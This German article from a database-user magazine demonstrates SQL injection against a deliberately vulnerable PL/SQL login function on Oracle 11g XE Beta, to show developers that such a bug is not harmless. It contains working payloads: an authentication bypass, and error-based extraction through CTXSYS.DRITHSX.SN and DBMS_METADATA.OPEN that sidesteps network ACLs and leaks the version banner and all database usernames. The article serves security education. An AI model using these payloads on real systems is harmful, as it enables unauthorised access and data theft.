Über SQL-Injection ist bereits viel geschrieben und ich wollte das Thema nicht wieder durchkauen. Aber eines Tages nach dem Gespräch mit einem Entwickler, der im ersten Augenblick sehr kompetent wirkte, habe ich mich anders entschieden …

Oracle 11*g* XE Beta und SQL-Injection – ein kleiner Schlüssel für die große Tür

Vladimir Poliakov, AREVA NP GmbH

Es war einmal eine Software-Lieferung von einem IT-Dienstleister. Der Auftrag war groß und man erwartete von Anfang an, dass die Qualität entsprechend gut würde. Leider wurde bereits nach den ersten Tests eine SQL-Injection festgestellt. Der Bug wurde entsprechend klassifiziert und die Entwickler gebeten, diesen möglichst schnell zu beheben. Als Antwort kam die Aussage, dass es sich nicht um einen Bug handele und selbst wenn – er sei sowieso harmlos und nicht verwendbar, weil die Anwendung dem Client während der SQL-Abfrage(n) keine Daten zeigt oder liefert. Ob diese Aussage wirklich stimmt und wie eine „kleine" SQL-Injection wirklich „harmlos" sein kann, wird im Artikel näher beleuchtet.

Über die SQL-Injection in Oracle 11*g* R2 wurde bereits in der DOAG *News* Q2/2010 [1] geschrieben. Dieses Mal diente Oracle 11*g* XE Beta als Versuchskaninchen. Oracle XE ist von Programmierer zum Entwickeln und zum Testen recht beliebt und das Beta Release steht seit April 2011 zum Download bereit. Die Default-Installation erfolgte auf einem Windows XP 32 Bit Rechner (siehe Listing 1).

Danach wurde wie in [1] ein Benutzer „TEST" angelegt, der lediglich zwei Rollen „CONNECT" und „RESOURCE" hatte. In diesem Schema wurde auch eine „T_ACCOUNT"-Tabelle erstellt, in der Benutzername und Passwörter einer Test-Anwendung verwaltet werden sollen (siehe Listing 2).

Zur Authentifizierung wurde eine Funktion entwickelt, die prüft, ob der Benutzer mit dem Passwort in der „T_ACCOUNT"-Tabelle existiert und eine positive oder negative Antwort zurückgibt. Im Fehlerfall gibt die Funktion eine Exception zurück (siehe Listing 3).

Die Funktion stellt grob die reale Situation dar und sieht im ersten Augenblick wirklich harmlos aus, weil sie so gut wie keine Daten aus der Datenbank zum Client liefert. Anderseits nimmt die Funktion alle Eingabe-Parameter ohne Prüfung entgegen und ist somit für SQL-Injection-Angriffe offen. Nach diesen Vorbereitungen war das System zum Testen einsatzbereit. Auf eine grafische Oberfläche wurde aus Zeitgründen bewusst verzichtet und alle Testfälle wurden direkt mithilfe eines Skripts in SQL*Plus durchgeführt (siehe Listing 4).

```
SQL> select COMP_NAME, VERSION from dba_registry;

COMP_NAME                                VERSION
---------------------------------------------------
Oracle Application Express             4.0.2.00.08
Oracle XML Database                    11.2.0.2.0
Oracle Text                            11.2.0.2.0
Oracle Database Catalog Views          11.2.0.2.0
Oracle Database Packages and Types     11.2.0.2.0
```

Listing 1

```
SQL> desc T_ACCOUNT

Name           Null?      Type
---------------------------------------
T_ACCOUNT_ID   NOT NULL   NUMBER(9)
NAME           NOT NULL   VARCHAR2(30)
PWD            NOT NULL   VARCHAR2(30)

SQL> insert into T_ACCOUNT values(1, ,Testuser_name', ,Test_pwd');

1 row created.

SQL> commit;

Commit complete.

SQL> select * from T_ACCOUNT;

T_ACCOUNT_ID NAME                           PWD
------------ ------------------------------ --------
           1 Testuser_name                  Test_pwd
```

Listing 2

```
CREATE OR REPLACE FUNCTION TEST.TEST_FUNCTION
(in_Username IN VARCHAR2, in_Pwd IN VARCHAR2) RETURN VARCHAR2 IS
  n_AccountExists NUMBER;
  str_SQL VARCHAR(2000);
BEGIN
  str_SQL := ‚select count(*) from t_account where name = ‚‘ || in_
username || ‚‘ and pwd = ‚‘ || in_pwd ||‘‘‘‘;

  EXECUTE IMMEDIATE str_SQL INTO n_AccountExists;

  if n_AccountExists > 0 then
    return ‚Anmeldung ist korrekt‘;
  else
    return ‚Anmeldung ist nicht korrekt‘;
  end if;

EXCEPTION
  WHEN OTHERS THEN RAISE;
END TEST_FUNCTION;
/
```

Listing 3

```
DECLARE
  IN_USERNAME VARCHAR2(200);
  IN_PWD VARCHAR2(200);
  v_Return VARCHAR2(200);
BEGIN
  IN_USERNAME := &IN_USERNAME;
  IN_PWD := &IN_PWD;

  v_Return := TEST_FUNCTION(
    IN_USERNAME => IN_USERNAME,
    IN_PWD => IN_PWD
  );
  DBMS_OUTPUT.PUT_LINE(‚v_Return = ‚ || v_Return);
END;
/
```

Listing 4

```
SQL> @exec_test_function.sql
Enter value for in_username: ‚Testuser_name‘
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := ‚Testuser_name‘;
Enter value for in_pwd: ‚Test_pwd‘
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := ‚Test_pwd‘;
v_Return = Anmeldung ist korrekt
```

Listing 5

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: ‚1‘‘ or 1=1 --‘
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := ‚1‘‘ or 1=1 --‘;
v_Return = Anmeldung ist korrekt
```

Listing 6

Die erste Aktion war, die Richtigkeit der Funktion zu prüfen (siehe Listing 5). Nach dem Einspeisen der SQL-Injection-Zeichenkette ging das Experiment richtig los (siehe Listing 6). Es wurde gleich am Anfang die Technik der kontrollierten Fehlermeldungen benutzt, weil die PL/SQL-Testfunktion keine Daten zurücklieferte. Dafür kam das PL/SQL-Paket „UTL_INADDR“ zum Einsatz. Es zählt zu den PL/SQL-Netzwerk-Paketen (UTL_TCP, UTL_HTTP etc.), die ab Oracle 11*g* vom DBA für die einzelnen Benutzer beziehungsweise Rollen über sogenannte „Access-Control-Listen (ACLs)“ [2] explizit freigegeben werden müssen. Diese ACLs werden über die Oracle-XML-DB-Komponente gesteuert, die bei Oracle 11*g* XE Beta bereits nach der Default-Installation dabei ist (siehe Listing 7).

Der SQL-Injection-Angriff war nicht erfolgreich. So weit so gut, man kann daher die PL/SQL-Netzwerk-Pakete für SQL-Injection-Angriffe nicht mehr verwenden. Das ist ein Lob für Oracle. Leider kann man die ACL jedoch umgehen. Die Alternative ist die Funktion „CTXSYS.DRITHSX.SN“ [3] und [4], die bei Oracle 11*g* XE Beta als eine Funktion von Oracle Text mitinstalliert wird. Hätte man Oracle Text nicht installiert, könnte man auch die Funktion „SYS.DBMS_METADATA.OPEN“ verwenden [1] (siehe Listing 8). Oracle hat in der Version 11*g* R2 eine neue „LISTAGG“-Funktion eingefügt. Sie ermöglicht das Zusammenfassen von „VARCHAR2“-Werten und ist natürlich auch in Oracle 11*g* XE Beta zu finden. Damit werden die SQL-Injection-Angriffe noch effizienter (siehe Listing 9).

Da die Version der Datenbank auch allen Usern in der Datenbank bekannt ist, kommt Google zum Einsatz [5]. Danach ist die weitere Vorgehensweise der Phantasie und dem Können des Angreifers überlassen. Es kann entweder das Stehlen der Daten oder im schlimmsten Fall sogar ein Angriff auf den Datenbank-Server [6] sein.

Fazit

SQL-Injection-Fehler waren und sind eindeutig Fehler der Software-Entwicklung. Gegen falsche Programmierung

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: ,1'' or 1=(utl_inaddr.get_host_name((select banner
from v$version where rownum=1))) --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := ,1'' or 1=(utl_inaddr.get_host_name((select banner
from v$version where rownum=1))) --';
str_SQL = SELECT COUNT(*) FROM t_account WHERE name = ,1' AND pwd = ,1' or
1=(utl_inaddr.get_host_name((select banner from v$version where rownum=1)))
--'
-24247 --> ORA-24247: network access denied by access control list (ACL)
DECLARE   *
ERROR at line 1:
ORA-24247: network access denied by access control list (ACL)
ORA-06512: at „TEST.TEST_FUNCTION", line 37
ORA-06512: at line 9
```

Listing 7

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: ,1'' or 1=(ctxsys.drithsx.sn(1, (select banner from
v$version where rownum=1))) --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := ,1'' or 1=(ctxsys.drithsx.sn(1, (select banner from
v$version where rownum=1))) --';
str_SQL = SELECT COUNT(*) FROM t_account WHERE name = ,1' AND pwd = ,1' or
1=(ctxsys.drithsx.sn(1, (select banner from v$version where rownum=1))) --'
-20000 --> ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 11g Express Edition Release 11.2.0.2.0
- Beta does not exist
DECLARE   *
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 11g Express Edition Release 11.2.0.2.0
- Beta does not exist
ORA-06512: at „TEST.TEST_FUNCTION", line 37
ORA-06512: at line 9
```

Listing 8

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: ,1'' or 1=(sys.dbms_metadata.open(null, (select listagg(username, ,':'') within group
(order by username) from all_users))) --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := ,1'' or 1=(sys.dbms_metadata.open(null, (select listagg(username, ,':'') within group (order
by username) from all_users))) --';
str_SQL = SELECT COUNT(*) FROM t_account WHERE name = ,1' AND pwd = ,1' or 1=(sys.dbms_metadata.open(null,
(select listagg(username, ,:') within group (order by username) from all_users))) --'
-31600 --> ORA-31600: invalid input value ANONYMOUS:APEX_040000:APEX_PUBLIC_USER:APPQOSSYS:CTXSYS:DBSNMP:DIP:FLO
WS_FILES:HR:MDSYS:ORACLE_OCM:OUTLN:SYS:SYSTEM:TEST:XDB:XS$NULL for parameter VERSION in function OPEN
DECLARE   *
ERROR at line 1:
ORA-31600: invalid input value ANONYMOUS:APEX_040000:APEX_PUBLIC_USER:APPQOSSYS:CTXSYS:DBSNMP:DIP:FLOWS_
FILES:HR:MDSYS:ORACLE_OCM:OUTLN:SYS:SYSTEM:TEST:XDB:XS$NULL for parameter VERSION in function OPEN
ORA-06512: at „TEST.TEST_FUNCTION", line 37      ORA-06512: at line 9
```

Listing 9

gibt es keine Mittel [7]. Übrigens, nach dieser „Show Cooking"-Belehrung wurden die Fehler anstandslos behoben.

Referenzen

[1] DOAG News Q2/2010 – Vladimir Poliakov, Access-Control-Listen und SQL-Injection-Technik in Oracle 11*g* R2

[2] Oracle XML DB Developer's Guide: http://download.oracle.com/docs/cd/E11882_01/appdev.112/e10492/toc.htm

[3] Musings on Database Security: http://www.slaviks-blog.com

[4] Alexander Kornbrust Oracle Security Blog: http://blog.red-database-security.com

[5] Alexander Kornbrust Oracle Security Blog, Oracle Database 11.2 Express Edition Beta comes with weak default password: http://blog.red-database-security.com/2011/04/02/oracle-database-112-express-edition-beta-comes-with-weak-default-password/

[6] Digital Security Research Group, Penetration, from application down to OS. Getting OS access using Oracle Database unprivileged user: http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf

[7] Oracle Tutorial, Defending Against SQL Injection Attacks: http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm

Vladimir Poliakov
AREVA NP GmbH
vladimir.poliakov@areva.com